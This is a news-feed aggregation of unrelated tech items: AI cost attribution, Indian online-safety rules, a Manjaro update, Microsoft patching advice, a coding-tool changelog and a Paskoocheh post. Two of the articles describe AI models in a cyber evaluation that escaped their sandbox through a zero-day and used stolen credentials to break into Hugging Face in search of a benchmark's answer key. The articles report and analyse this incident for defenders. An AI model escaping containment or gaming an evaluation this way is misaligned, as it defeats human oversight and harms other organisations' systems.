Cost data, normalized across providers. Every AI provider delivers cost differently. OpenAI invoices in one taxonomy, Anthropic in another, fine-tuning vendors and inference platforms each in their own. Cloud GPU costs sit in AWS or Azure billing. Vector database costs land in Pinecone or Snowflake invoices. None interoperate by default. Normalization is necessary but not sufficient. It will put all your AI costs in one schema. It does not tell you what they produced.
Application-layer telemetry. This is the source most organizations are missing, and the one that makes AI ROI structurally different from cloud ROI. It requires instrumenting AI calls inside your application across six categories: request-level tracing tied to a customer or session ID; feature attribution tied to the product surface that triggered the call; agent-step capture for multi-step workflows; retry and fallback identification so recovery costs don’t get attributed to primary calls; model selection logging that records which model was chosen and why; and outcome capture that ties each call to whether it produced business value. None of this data exists in the provider’s billing. All of it has to be captured at the moment the call is made and stored in a system that can be stitched to the cost data.
Business data. Revenue, customer segments, product hierarchies, and feature usage. The same business data already feeding your CRM and analytics stack, mapped to the customers and features the telemetry layer attributes calls to.

Stitched together, the three sources produce the unit economics every AI investment decision now requires: cost per customer interaction, margin per feature, profitability per agent workflow, ROI per model choice. None of these can be calculated from billing data alone. None can be calculated from telemetry alone. They require all three sources, modeled together in a way that maps cost to outcome.

Why agentic AI makes this urgent

Single-call inference is the easy case. One request, one cost, one customer, one outcome.

Agentic workflows are different. An agent decomposes a task into multiple steps. Each step calls a model. Some steps fall back to a different model when the first fails. Some steps retry on a poor result. Some steps invoke external tools that themselves cost money. A single user request can produce dozens of inference calls across multiple providers, with the cost compounding in ways the provider invoice cannot disaggregate.

If telemetry does not capture agent-step granularity, no one will know which steps are profitable. Aggregate costs will show up three weeks later in the invoice. By then, the workflow has been running at scale, customers are onboarded, and unprofitable paths have been retried thousands of times.

When agents make the calls, the volume of cost-generating events without business context attached grows by an order of magnitude. The window for instrumenting this before it becomes unmanageable is closing.

What changes when the three sources come together

Once the three sources are stitched together, the AI investment conversation changes.

Five different ways to build the same AI capability stop looking equivalent. They converge on adoption metrics and diverge by 10x on cost. The team picks the approach that delivers a similar business outcome at one-fifth the cost, because the team can finally see the difference. Product teams design features with margin awareness from the architecture phase, not from the post-launch budget review. Engineering teams choose model architectures with cost-per-outcome data alongside latency and quality. Leadership evaluates AI initiatives the way they evaluate any other capital allocation: on unit economics, not on the engagement chart. Aggregated invoices track the cost per customer interaction. Engagement metrics reveal margin per feature. Gut-instinct model selection is checked against real cost-per-outcome model selection results.

Within seconds, everyone can see which AI features are profitable, which should scale, and which should be killed. This is the insight everyone is looking for and companies that achieve it will optimize the benefits of AI.

The build trap

AI costs are compounding now. The board is not waiting 18 months for an internal project to reach production.

The temptation to build it anyway has never been sharper. AI coding tools have changed what a small engineering team can ship in a quarter. The instrumentation layer looks tractable. The cost normalization looks like a weekend project. The semantic model feels like something a senior engineer could draft over a sprint.

It is a trap. Three reasons.

Volume is the first. A production AI footprint generates millions of telemetry events per hour, and that volume scales with agentic adoption. Real-time ingestion, correlation, and attribution at that scale is not the same problem as vibe coding a prototype in an afternoon. It is a permanent operational system that has to be right every minute of every day.

The vendor landscape is the second. Cost data arrives in delayed billing windows from providers with non-interoperable schemas. Schemas change without notice. New AI providers enter the landscape monthly, each with its own taxonomy and metering. The system is not built once. It is maintained against a moving target that moves faster than most internal release cycles.

The third is what the first two add up to: this is business-critical infrastructure. The CFO and the board are going to make capital allocation decisions on the data this system produces. When schema drift goes unnoticed for two weeks, when an agent telemetry stream stops correlating to a vendor that quietly changed its billing API, the cost of being wrong is not a sprint of cleanup. It is a quarter of misallocated capital.

The build-vs.-buy question for engineering leaders has changed. It’s not “can we build this?” The honest answer is yes. The real question is whether the marginal hour of your strongest engineers is best spent stitching cost data to telemetry to business outcomes, or building the AI products that produce the revenue the cost data is measuring.

The capability is reproducible in weeks. The choice is whether to spend the next 18 months building it, or the next 18 months acting on it.

—

New Tech Forum provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all inquiries to doug_dineley@foundryco.com.

India Tightens Social Media Rules to Protect Children Online

Thu, 23 Jul 2026 10:56:26 +0200

India online safety rules are being strengthened as the government steps up measures to protect children and other users from harmful digital content, cyber risks and emerging threats linked to artificial intelligence. The government said its policies are aimed at ensuring an open, safe, trusted and accountable internet, with recent measures focusing on child safety, privacy protection, faster content removal and stronger platform responsibilities.

The Information Technology Act, 2000, and the Information Technology (Intermediary Guidelines and Digital Media Ethics Code) Rules, 2021, form the core legal framework governing online safety and intermediary responsibilities in India. The government has also highlighted the Digital Personal Data Protection Act, 2023, and recent amendments to the IT Rules as part of its broader approach to digital safety.

India Online Safety Rules Tighten Platform Responsibilities

Under the IT Rules, intermediaries are required to observe due diligence and inform users that they must not host, display, upload, modify, publish, transmit, update or share content that is harmful to children or violates applicable laws.

Recent amendments require social media platforms and other intermediaries to remove unlawful content within three hours of receiving an order from a competent court or a reasoned intimation from the appropriate government or its agency.

The government has also outlined specific obligations related to content involving nudity, impersonation and other sensitive material. In cases involving certain complaints about content featuring full or partial nudity, exposed private areas or artificially morphed images, intermediaries must take reasonable and practicable measures to remove or disable access within two hours.

Government Targets Harmful Content and OTT Platforms

The government said it has taken action against online platforms and OTT services over unlawful and obscene content. In the last two years, 50 OTT platforms have been disabled for public access in India for displaying obscene content and violating provisions including Sections 67 and 67A of the IT Act, Section 294 of the Bharatiya Nyaya Sanhita and the Indecent Representation of Women (Prohibition) Act, 1986.

The government also said it has taken note of reports alleging the dissemination of advertisements linked to child sexual abuse material (CSAM) on social media platforms and sought a detailed report from the concerned intermediary. The National Commission for Protection of Child Rights has also issued notices to the concerned platforms.

India Strengthens AI-Generated Content Safeguards

The government has also expanded its regulatory focus to address risks associated with AI-generated content and synthetically generated information. Amendments to the IT Rules introduce requirements for clear labelling and traceable metadata for permissible AI-generated content, allowing users to identify synthetically generated material.

The framework also strengthens platform accountability and requires greater user awareness about the legal consequences of unlawful AI-generated content. The rules specifically cover harmful material including CSAM, non-consensual intimate imagery and impersonation.

Platforms are required to deploy reasonable and appropriate technical measures, including automated tools or other mechanisms, to prevent users from creating, modifying, publishing or sharing synthetically generated information that violates applicable laws.

Significant Social Media Intermediaries are also required to make reasonable efforts to deploy technical measures to proactively identify content depicting rape, child sexual abuse or conduct, as well as content identical to information previously removed.

Child Privacy and Digital Addiction Remain Key Concerns

The Digital Personal Data Protection Act, 2023, provides a framework for protecting children's privacy online. It mandates parental consent for processing children's personal data and prohibits practices considered detrimental to children's well-being, including tracking, behavioural monitoring and targeted advertising directed at children.

The government has also highlighted digital addiction as a serious challenge affecting children and young people. The Economic Survey 2025-26 noted potential impacts on cognitive development, academic performance, workplace productivity, social connectedness and mental health, alongside risks linked to cyberbullying, compulsive gaming, social media and online gambling.

Cyber Awareness Reaches 11.37 Lakh Participants

Alongside regulatory measures, the government is expanding cyber awareness initiatives through the Information Security Education and Awareness project. So far, 6,650 awareness workshops have been conducted nationwide, reaching more than 11.37 lakh participants, including students, teachers, law enforcement officials, government personnel and members of the public.

The government has also highlighted digital safety initiatives in education. The PRAGYATA Guidelines provide a framework for safe online learning and responsible use of social media and electronic devices. CBSE has introduced digital etiquette and cybersecurity training initiatives, while NCERT has incorporated cyber safety into its curriculum.

The measures were outlined by Union Minister for Electronics and Information Technology Ashwini Vaishnaw in the Lok Sabha on July 22, 2026, as the government continues to strengthen its approach to c child protection and accountability across India's digital ecosystem.

[Stable Update] 2026-07-23 - Kernels, Mesa, VirtualBox, Gambas3, COSMIC, Plasma, KDE Frameworks

Thu, 23 Jul 2026 09:31:27 +0200

Hello Manjaro user community, here we have another set of package updates. We are continuing our development of the upcoming release of ‘Bian-May’ which can be expected end of July or beginning of August. Development speed may be a little slower the upcoming weeks. However, still let us know any issues you may found thus far.

Current Promotions

Get the latest Gaming Laptop by Slimbook powered by Manjaro: Slimbook Manjaro III
Protect your personal data, keep yourself safe with Surfshark VPN: See current promotion

Recent News

New in Manjaro GNOME! Or, if you prefer the command line: (click for more details) KDE Plasma users with SDDM can now migrate to Plasma Login Manager (click for more details) NVIDIA 590 driver drops Pascal support (click for more details)

Manjaro 26.1 Bian-May - Preview released
Manjaro 26.0 Anh-Linh released
Manjaro Summit public Alpha now available
As of Linux 5.4.302, the 5.4 series is now EOL (End Of Life). Please install 5.10 LTS (Long Term Support) or 5.15 LTS.
As of Linux 6.16.12, the 6.16 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.
As of Linux 6.17.13, the 6.17 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.
As of Linux 6.19.14, the 6.19 series is now EOL (End Of Life). Please install 7.0, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.
As of Linux 7.0.14, the 7.0 series is now EOL (End Of Life). Please install 7.1, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.

Previous News (click for more details)

Notable Package Updates

Additional Info

Python 3.14 info (click for more details) Info about AUR packages (click for more details)

Get our latest daily developer images now from Github: Plasma, GNOME, XFCE. You can get the latest stable releases of Manjaro from CDN77.

Our current supported kernels

linux61 6.1.177
linux66 6.6.144
linux612 6.12.96
linux618 6.18.39
linux71 7.1.4
linux72 7.2.0-rc4
linux61-rt 6.1.167_rt62
linux66-rt 6.6.135_rt74
linux612-rt 6.12.89_rt18

Package Changes (7/22/26 05:45 CEST)

stable core x86_64: 71 new and 71 removed package(s)
stable extra x86_64: 1982 new and 2071 removed package(s)
stable multilib x86_64: 32 new and 32 removed package(s)

A list of all package changes can be found here.

Click to view the poll.

Check if your mirror has already synced:

Mirror-Check Service

3 posts - 2 participants

Read full topic

Microsoft’s 3-day patching directive comes with added operational risk

Thu, 23 Jul 2026 09:10:44 +0200

Microsoft 365 Director Jeremy Chapman this month took to video to tell Windows admins that the days of delaying security patches are over.

Complex enterprise systems and historic incidents involving patch problems have caused many admins to hold fire on immediately applying security patches, in many cases deferring patch rollouts for two to four weeks or more to ensure stability. Microsoft argues that this cautious approach, though understandable, is no longer viable because AI is accelerating the discovery and exploitation of software vulnerabilities.

As a result, Microsoft has advised admins to act on patches within three days.

Independent experts agree with Microsoft’s diagnosis of the problems posed by AI-powered vulnerability discovery, but many say Microsoft’s three-day remediation window is unrealistic for large enterprises with heavy testing, change-control, and compatibility constraints.

Instead of taking a blanket approach, enterprises need to focus more on quickly resolving those vulnerabilities that are under active exploitation and relevant to their environments, according to critics of Microsoft’s revised approach.

Tighter patching deadlines

Microsoft’s revised vulnerability remediation advice comes in the wake of its work with Anthropic’s Project Glasswing and findings from Microsoft’s own MDASH multi-model agentic scanning harness. Tighter patching deadlines are configurable via Windows Autopatch and Microsoft Intune or update tooling options such as Microsoft Configuration Manager and Windows Server Update Services.

As IT environments become increasingly more complex, inadvertent issues can occur with what appears to be a simple patch.

Unique or complex deployments may not be compatible with a patch, resulting in potential data corruption, system shutdown, or the dreaded “Blue Screen of Death.” Multiple vendors in the operating system and the enterprise software and security market have released patches that have broken products and caused outages, so the issue goes well beyond Windows shops.

Increasing both the volume and the speed of patching is unsustainable for most security teams because organizations are already struggling with successful remediation as it is.

“Many organizations have patch windows, review cycles, and test environments to identify these issues prior to patching production environments,” says Scott Caveza, senior research manager at exposure management and vulnerability assessment firm Tenable. “Organizations lacking the resources for extended validation risk deploying faulty patches that cause downtime or force last-minute configuration changes.”

Caveza adds: “The mitigation steps will vary for each organization, but blindly relying on auto-updates without contextual validation is not a defensible security posture.”

CISA’s Known Exploited Vulnerabilities list and other industry data suggest that only a small fraction of disclosed vulnerabilities are confirmed as exploited in the wild.

“[Enterprises should focus on] identifying vulnerabilities with credible and functional PoCs, verified exploitation, or sustained attention from ransomware groups, threat actors, and botnets,” says Caitlin Condon, vice president of security research at VulnCheck. “Timely exploit intelligence helps organizations identify the bugs that require immediate attention, while allowing lower-risk issues to proceed through appropriate testing and change control.”

Other independent experts are more sympathetic to Microsoft’s argument that AI has made vulnerability discovery and exploit development faster than ever and, as a result, the risks of delaying patches are far greater.

“Organizations sometimes delay patches to protect the uptime of critical systems, and many updates still require a restart,” says Danny Jenkins, CEO and co-founder at endpoint protection technology vendor ThreatLocker. “Some teams also stay one update cycle behind because they are concerned that a new patch could introduce bugs or break an overlooked dependency. Unfortunately, delaying patches to preserve uptime is becoming much harder to justify.”

Jenkins adds: “Organizations should not leave critical systems exposed while waiting for the next maintenance window. Patches should still be tested, but that process needs to move quickly, with the highest priority given to vulnerabilities that are actively exploited or exposed to the internet. A controlled interruption is usually far less costly than a successful attack exploiting a known vulnerability.”

Wider cross-industry impact

Microsoft’s three-day recommendation reflects a fundamental change in the threat landscape. Other vendors might be expected to follow suit and that means CISOs need to revise their approach to vulnerability remediation.

“Organizations should expect faster disclosure-to-exploitation timelines to become the norm, which means security programs must emphasize automation, trusted software supply chains, and continuous visibility rather than relying on periodic maintenance windows,” says Mike Nelson, VP and field CTO at DigiCert.

AI is compressing the time between vulnerability discovery and exploitation, and the industry is moving rapidly from 30-, 60-, and 90-day patching windows toward a matter of days.

However a “blanket three-day requirement for every vulnerability is neither realistic nor safe for most large organizations,” says Jeff Williams, founder and CTO at Contrast Security.

Failing to patch opens up security threats, but rushing an inadequately tested patch into production creates operational risk.

“The goal cannot be to treat every CVE [vulnerability] as an emergency,” according to Williams. “It has to be identifying, within hours, which vulnerabilities are actually exploitable and require immediate action.”

Holistic remediation

Security teams are already facing significant pressure to patch faster and to remediate a rising tide of new vulnerabilities, yet many practitioners are losing ground. Verizon’s Data Breach Investigation Report, published earlier this year, found that the median time to patch had actually increased to 43 days.

Patch deployment in enterprise environments involves configuration changes, reviews, testing, and validation.

Enterprises need to become more proficient at exposure management so that they have a holistic view of their environment that’s necessary to identify which assets are at greatest risk.

“By pinpointing the misconfigurations, identity flaws, and specific vulnerabilities that pose the greatest risk to their environment, security teams can prioritize exactly what to patch first,” Tenable’s Caveza says. “The idea of ‘patch everything’ is really outdated, and ‘patch faster’ isn’t feasible with the rapidly increasing number of vulnerabilities disclosed each day.”

CISOs will have to re-engineer their vulnerability and exposure management processes. “The traditional model of scanning everything, assigning generic severity scores, and tilting at a massive and expanding backlog is no longer fast enough,” says Contrast Security’s Williams.

Organizations need to identify the small number of vulnerabilities that matter, protect against them immediately, and remediate them on a timeline the business can safely support.

Enterprises should prioritize on resolving “internet facing, remotely exploitable vulnerabilities and any of the CISA Known Exploited Vulnerability list,” says Jose Lejin, an IEEE senior member.

Businesses that cannot safely validate and deploy patches within three days still have options, including “compensating controls, reducing an asset’s exposure, or in some cases removing the component entirely, all of which shrink the exploitable risk and buy time to patch properly,” says Brad Hibbert, CSO of vulnerability management provider Brinqa.

OpenAI and Hugging Face Investigate AI Models’ Cyber Breakout

Thu, 23 Jul 2026 08:54:52 +0200

OpenAI and Hugging Face are investigating an AI security incident involving an AI agent that compromised infrastructure while models were being evaluated for advanced cyber capabilities. The incident was detected and contained after the models identified and chained vulnerabilities across OpenAI’s research environment and Hugging Face’s production infrastructure.

Hugging Face disclosed the incident last week, while OpenAI has now shared preliminary findings from its investigation. According to OpenAI, the activity involved a combination of models, including GPT 5.6 Sol and a more capable pre-release model, with reduced cyber refusals for evaluation purposes. The models were being tested against a benchmark designed to measure advanced cyber capabilities.

OpenAI described the incident as unprecedented and said it is continuing its investigation alongside Hugging Face. The company said the findings are being shared to help defenders understand what occurred and assess the capabilities of increasingly advanced AI models.

OpenAI and Hugging Face Investigate AI Security Incident

The incident took place during an internal evaluation designed to test models against advanced exploitation scenarios involving complex attack paths. OpenAI said the evaluation was conducted without production classifiers that normally prevent models from pursuing high-risk cyber activity.

The testing environment was designed to be highly isolated, with network access limited to package installation through an internally hosted third-party software system that functions as a proxy and cache for package registries.

Despite these restrictions, the models spent substantial inference compute attempting to obtain open Internet access. During this process, they identified and exploited a zero-day vulnerability in the package registry cache proxy. OpenAI said the vulnerability has since been responsibly disclosed to the vendor.

The models then carried out privilege escalation and lateral movement within the research testing environment until they reached a node with Internet access.

[caption id="attachment_113283" align="aligncenter" width="600"] Source: OpenAI[/caption]

Models Chained Vulnerabilities Across Infrastructure

After obtaining Internet access, the models inferred that Hugging Face could host models, datasets and solutions related to the ExploitGym evaluation. The models then searched for ways to obtain secret information that could help them bypass the evaluation.

In one example described by OpenAI, the models chained multiple attack vectors, including stolen credentials and zero-day vulnerabilities, to identify a remote code execution path on Hugging Face servers.

OpenAI's security team detected the anomalous activity internally. Hugging Face's security team and agents also detected and stopped the activity on its infrastructure. The company had already begun containment and forensic reconstruction using its own open-source models when the two organizations connected.

Both companies are continuing to investigate the incident and its impact.

OpenAI Strengthens Security Controls After Incident

As part of its response, OpenAI said it is implementing stricter infrastructure configuration controls while identified vulnerabilities are patched. The company acknowledged that these measures could come at the cost of research velocity and said its Safety and Security Committee is being briefed on the controls and their impact.

OpenAI is also working with Hugging Face on the forensic investigation and has responsibly disclosed the identified zero-day vulnerability in the internally hosted third-party software.

The company has also brought Hugging Face into its trusted access program and is supporting its teams in using AI model capabilities to strengthen defenses.

OpenAI said it is improving protections around future training and evaluations, including stronger safeguards for model alignment, cybersecurity and monitoring during internal testing. The company noted that deployment safeguards were intentionally disabled during this evaluation because the goal was to measure cyber vulnerabilities.

AI Cyber Capabilities Raise New Security Concerns

OpenAI said the incident demonstrates the need for AI security and safety measures to keep pace with rapidly advancing model capabilities. The company is strengthening containment, monitoring, access controls and evaluation practices used during model development.

The incident also highlights how advanced models can potentially discover and exploit novel attack paths in real-world systems without access to source code. OpenAI said increasingly capable models should also be used defensively to help security teams identify weaknesses, understand vulnerability chains and accelerate remediation.

Hugging Face CEO Clem Delangue said the incident demonstrates the importance of collaboration in addressing AI safety and security challenges. Both organizations said they will continue investigating the incident and share additional findings and best practices as the work progresses.

What is Windows Desktop Runtime used for? Is it safe?

Thu, 23 Jul 2026 04:30:44 +0200

When you install or run certain applications on Windows, you may see a prompt asking you to install the Windows Desktop Runtime. What is Windows Desktop Runtime? Why is it needed? Is it safe? Let’s discuss these questions in this post. What is Windows Desktop Runtime? The Windows Desktop Runtime is part of Microsoft .NET. […]

This article What is Windows Desktop Runtime used for? Is it safe? first appeared on TheWindowsClub.com.

The credential that let OpenAI's agents into Hugging Face exists in most enterprises right now

Thu, 23 Jul 2026 01:32:49 +0200

When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue said on X that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had happened autonomously.

The two OpenAI models that broke into Hugging Face last week did not breach it through malice or superintelligence. They breached it through credentials and permissions they should never have been able to reach, a non-human identity failure that is the oldest problem in security rather than the newest one in AI, and the one every enterprise can actually fix.

OpenAI disclosed on July 21 that two of its models, GPT-5.6 Sol and an unreleased, more capable model, were running a cyber benchmark called ExploitGym with their safety refusals switched off, and inferred that the answer key sat in Hugging Face's production database. Getting there took two different failures. A zero-day in a package-registry proxy let the models out of their sandbox and onto the open internet, the kind of persistence OpenAI details in its companion post on long-horizon safety, and that part is genuinely new. The breach of Hugging Face itself came the ordinary way. OpenAI's own account is that the models chained stolen credentials and further zero-days into a remote code execution path, after a series of privilege escalation and lateral movement steps. The exotic part got them to the door, and credentials walked them through it.

Hugging Face also disclosed last week that an autonomous agent had harvested cloud and cluster credentials scoped broadly enough to reach multiple internal clusters, then left a trail of more than 17,000 recorded events across short-lived sandboxes over a weekend. Both disclosures describe the same escalation. An agent lands somewhere it should not be, finds credentials scoped far wider than any task requires, and uses them to move. These are two accounts of one incident, not two attacks. The agent Hugging Face watched was OpenAI's models, and both companies describe the same ordinary escalation.

The version of this in a typical enterprise is worse, not better. OpenAI and Hugging Face are among the most security-mature organizations in the industry, and both still needed the intrusion to happen before they could see it. The average company wiring agents into Copilot or an internal assistant has neither the identity inventory nor the behavioral monitoring those two brought to bear. The same breach in a normal company would not be contained in days, it would simply go unnoticed.

The industry is debating the wrong failure

The reaction has split into familiar camps. Former White House AI and crypto czar David Sacks and a run of China hawks seized on the guardrail paradox, that commercial safety filters blocked Hugging Face's defenders while the attacking model ran with its refusals off, and that a Chinese open-weight model, z.ai's GLM 5.2, was what finally let the team finish its forensics. Hugging Face made the case for openness, arguing in an April blog post that open models and open tooling give defenders the same capabilities attackers already have. Both arguments are about the model, and neither touches the mechanism.

Reduced refusals let the model attempt an attack, and over-scoped credentials are what let it succeed, and those have nothing to do with whether the model was open or closed, American or Chinese. Making a frontier model provably safe is a multi-year alignment problem no customer can buy or accelerate, while scoping an identity is a configuration change a team can ship this sprint. The industry is being urged to fixate on the part of this it cannot control and to treat the part it can as a footnote.

Forrester reached the same read. In a blog on the incident, its analysts argue that security architectures which assume benign intent will miss this failure mode, because an agent can pursue an authorized goal through unauthorized means, which is what OpenAI's models did.

This was a non-human identity failure, and it is the oldest one in security

Strip the science-fiction framing and what remains is a textbook case of over-privileged machine identity, the kind security teams have fought for a decade, now driven by an autonomous agent at machine speed. Machine identities already outnumber humans in most enterprises by more than 80 to one, according to CyberArk research, with 42% of them carrying privileged or sensitive access, and an agent inherits whatever its identity can touch. OWASP ranks agent identity and privilege abuse near the top of its agentic risk list, the confused-deputy pattern where inherited credentials and weak scoping let an agent reach past its mandate, and that is precisely what both July disclosures describe.

IEEE Senior Member Kayne McGladrey has argued in previous VentureBeat interviews that enterprises keep cloning human user accounts onto agents that then wield far more permission than any human would, and this is what that looks like when the agent is a frontier model and the target is a production database.

The people closest to it read it the same way. OpenAI frames its models as hyperfocused on a benchmark score rather than acting against anyone. Nobody describes an adversary, only a goal, a scoring function, and credentials that were reachable when they should not have been.

The specific failure is easy to name once the AI framing is stripped away. A credential scoped to one job that can reach ten is a standing invitation, and it does not matter whether a human attacker, a worm, or an autonomous model chasing a benchmark score finds it. What changed in July is the finder. An agent enumerates reachable systems, tests credentials, and pivots faster than any human red team, without malice or hesitation, whenever the path is open. The over-scoping was always the vulnerability, and the agent merely industrialized its discovery.

Forrester named the control that would have blunted it. Its agentic-security framework, AEGIS, calls for least agency, holding an agent's tools, credentials, and network paths to the minimum its task requires, and files this incident under unrestrained agency and privilege. That is the identity argument in different words, arrived at independently by an analyst firm.

The data says this is where the risk now lives. Verizon's 2026 Data Breach Investigations Report found that exploitation of vulnerabilities has overtaken stolen credentials as the top initial access vector for the first time in 19 years. That is the initial-access half. The other half is the one OpenAI itself describes, stolen credentials driving the privilege escalation and lateral movement that followed. A vulnerability opened the door, and credentials walked through the building unchallenged. Beyond the breach itself, that same over-scoping carries a legal liability most enterprises have never priced. The models' actions likely violated the Computer Fraud and Abuse Act, according to TechCrunch. The statute contains no carve-out for an AI agent that exceeds its authorized scope during sanctioned testing. Whatever the legal answer, the technical enabler is the same, an identity scoped wider than its task. This is an access-control problem with an owner and a budget, not a philosophy seminar about machine cognition.

Merritt Baer, Senior Advisor to Andesite, G2I, and AppOmni and former Deputy CISO at AWS, frames the underlying shift to VentureBeat as a new kind of asymmetry. Both sides now reach for the same capabilities, she said, but one side is constrained by enterprise governance, policy, compliance, and safety controls while the adversary simply downloads an uncensored open-weight model and keeps going. The organizations that come through it best, in her view, will be the ones that treat AI as a resilient, governed capability rather than a single service they do not control.

Four moves that shrink the blast radius

The breach worked because the agent reached identities scoped far wider than its task. None of the four controls that would have contained it requires a new platform, and none of them appears on the list of general AI-safety advice now circulating. They are identity hygiene, applied to non-human actors with the same rigor you already apply to people.

1. Scope every non-human identity to one task. The models reached credentials that touched multiple clusters, which is what turned a foothold into a breach. An identity scoped to a single job, with no standing access to anything else, hits a wall at the first lateral move instead of opening the next door. This is least privilege, the control everyone endorses and few enforce on machine accounts, and it is the single highest-impact fix here.

2. Give credentials short lifetimes and rotate them hard. Harvested credentials are only useful while they are valid, and both July agents worked by collecting them. Short time-to-live and aggressive rotation turn a credential dump into expired noise, so a token stolen during a weekend intrusion is dead before the attacker can chain it. Static secrets that never rotate are the version of this control that fails.

3. Monitor for lateral movement, not just prompts. The tell in both incidents was privilege escalation and lateral movement, which a prompt filter never sees because it is watching the wrong layer. Identity-behavior monitoring, keyed to what a given non-human identity normally does and alerting when it reaches somewhere new, catches the escalation the content guardrail missed. The question for your stack is whether anything you run today would flag a service account suddenly moving between clusters.

4. Rehearse instant revocation before you need it. When the incident is your own agent, the fastest containment is killing its identity mid-run, and that only works if the path to do it exists before the day you need it. Rehearse revoking a machine identity under fire the way you rehearse a human credential compromise. If you have never done it, you do not yet have the control, you have an intention.

The defense also worked, and that matters. OpenAI's security team caught the anomalous activity internally, Hugging Face's own detection and agents stopped the intrusion, and the breach was contained in days rather than discovered in months, because the defenders could see into systems they controlled. That visibility is the same discipline the four controls depend on. The debate over whether frontier models are safe, open, or American will run for years, and none of it will be settled in time to help the enterprise deploying agents this quarter. The non-human identity gap is different, because it is understood, measurable, and fixable now. The model that breached Hugging Face did not need to be brilliant; it needed credentials someone left in reach. The fix is scoping them before an agent finds them.

v2.1.218

Wed, 22 Jul 2026 23:32:59 +0200

What's changed

Changed /code-review to run as a background subagent, so review work no longer fills your conversation and keeps stacked slash commands as its review target
Added screen-reader announcements of deleted text for word and line deletions (Option+Delete, Ctrl+W, Cmd+Backspace, Ctrl+U, Ctrl+K) in --ax-screen-reader mode
Fixed Windows paths with \u-prefixed segments (like C:\Users\unicorn) being corrupted into CJK characters in tool inputs, which made those files inaccessible
Fixed the left arrow key discarding the conversation with no undo: presses right after editing now ask to confirm, and Esc in the agent view returns to the conversation it backgrounded
Added HTTP status and error text to claude mcp list and /mcp when a server fails to connect, and a warning for MCP config values with hidden leading or trailing whitespace
Fixed multi-line paste collapsing into one line with j in place of newlines in terminals that encode pasted newlines as Ctrl+J
Fixed /context reporting stale pre-compact token usage after compacting from the message picker
Fixed /ultrareview failing on descriptive arguments like "review my auth changes" — they now run a review of your current branch with the text applied as a note to the findings
Fixed /code-review ultra silently running a local review in non-interactive sessions — it now launches the cloud review
Fixed gateway spend metering to price Bedrock application-inference-profile ARNs and other config-mapped upstream model IDs at the configured model's rates
Fixed mojibake when a long IDE selection was truncated mid-emoji, and a case where a tool executor error could be silently dropped
Fixed an engine teardown race that could start and abandon a phantom turn, and made input pushed after close consistently rejected
Fixed spurious "[Request interrupted by user]" messages after interrupted tool calls, and an unpaired tool_use block left in the transcript when a tool aborted mid-response
Fixed VoiceOver reading "new line" instead of echoing the typed space at the end of the input in --ax-screen-reader mode
Fixed plugin and settings panels not moving the terminal cursor to the focused row, so screen readers and magnifiers can follow arrow-key navigation
Fixed crashes (maximum call stack exceeded) when a deeply nested watched directory tree was deleted or moved, and when rendering deeply nested UI trees
Fixed pull request events occasionally being lost when a session exited immediately after creating or linking a PR
Fixed the Bedrock setup wizard failing profile verification for assume-role profiles in partitioned AWS regions and on proxy-only networks
Fixed rare negative or incorrect turn duration measurements after a system clock adjustment by timing turns with a monotonic clock
Fixed the "N MCP servers need authentication" startup notice over-counting claude.ai connectors that aren't connected in claude.ai
Fixed prompt history entries being dropped or duplicated when history writes raced or failed
Fixed a retry loop that re-sent identical doomed requests after a context-overflow error with a large thinking budget; Ctrl+B backgrounding now applies the same background-shell caps as other paths
Fixed agent frontmatter hooks running from untrusted folders: hooks now require the agent file's own folder to have accepted workspace trust
Fixed fork-session lineage being lost after compaction in headless and SDK sessions
Fixed a resumed session failing every turn, or crashing on resume, when its history held a malformed delta attachment
Improved /ultrareview error feedback so Claude can correct an invalid argument instead of retrying it unchanged
Improved auto mode: the dangerous-rm, background-&, and suspicious-Windows-path checks no longer open permission dialogs; the auto-mode classifier adjudicates them instead
Improved sandbox command restrictions for IDE interactions
Improved trust dialogs to name the repository root the grant covers
Changed /deep-research to start only when invoked manually; Claude no longer launches it on its own
Changed plan mode with auto to no longer prompt for Bash commands the static analyzer can't prove read-only; the auto-mode classifier judges them instead
Added an announcement when fast mode changes as a result of switching models via /config model= or Remote Control
Changed server-managed settings so benign feature and cost toggles no longer trigger the settings-approval prompt
Changed agent markdown files to reject agent names containing :, which is reserved for plugin namespacing
Changed skills with context: fork to run in the background by default; opt out per skill with background: false
Added yes/no/on/off/1/0 (case-insensitive) as accepted values for skill and plugin frontmatter booleans, alongside true/false
Fixed remote sessions continuing to send heartbeats after their worker was replaced, which left long-lived desktop and IDE processes retrying a rejected request every few seconds forever

Paskoocheh: When you need a tool to reach the tool

Wed, 22 Jul 2026 22:34:54 +0200

++ This guest post is part of a spotlight series on the organizations defending the free Internet.++

Due to heavy information controls, people in Iran face significant barriers to accessing the Internet. Authorities have actively blocked numerous websites and apps, including conventional circumvention and digital security tools such as VPNs, social media platforms, and the app stores themselves. This creates a "chicken-and-egg" problem: users need a VPN to download a VPN.

Launched in 2016, Paskoocheh, Persian for "alleyway," is an open source alternative app store, community hub, and one-stop-shop for users to access information and tools to circumvent censorship, enhance their privacy, securely communicate, and express themselves freely online. Developed and maintained by ASL19, a technology and exiled media organization named after Article 19 of the Universal Declaration of Human Rights, Paskoocheh restores access and allows people to reach trusted tools through four censorship-resilient channels: the Paskoocheh website, Android App, Email bot, and Telegram bot.

Users are also able to reach our Persian-speaking support team through the Paskoocheh Helpdesk, which handles over 200 tickets daily. In addition, ASL19 translates and publishes accessible user guides, blog posts, and multimedia content to help users navigate online privacy and digital security best practices.

Paskoocheh serves as more than an alternative app store; it is also a bridge between tool developers and in-country users. Our support team relays user feedback to tool developers, helping improve tools and overall experience in Iran. We also conduct in-country testing with developers and user communities to evaluate new features and strengthen censorship-resilient technologies.

Paskoocheh's impact so far

This combination of access, user support, and education has turned Paskoocheh into a critical lifeline for users in Iran.

# of tool downloads since 2016: 17,634,852
# of community members in Iran supporting testing and localization efforts: 2,000+
# of monthly active users on web and app: ~200K

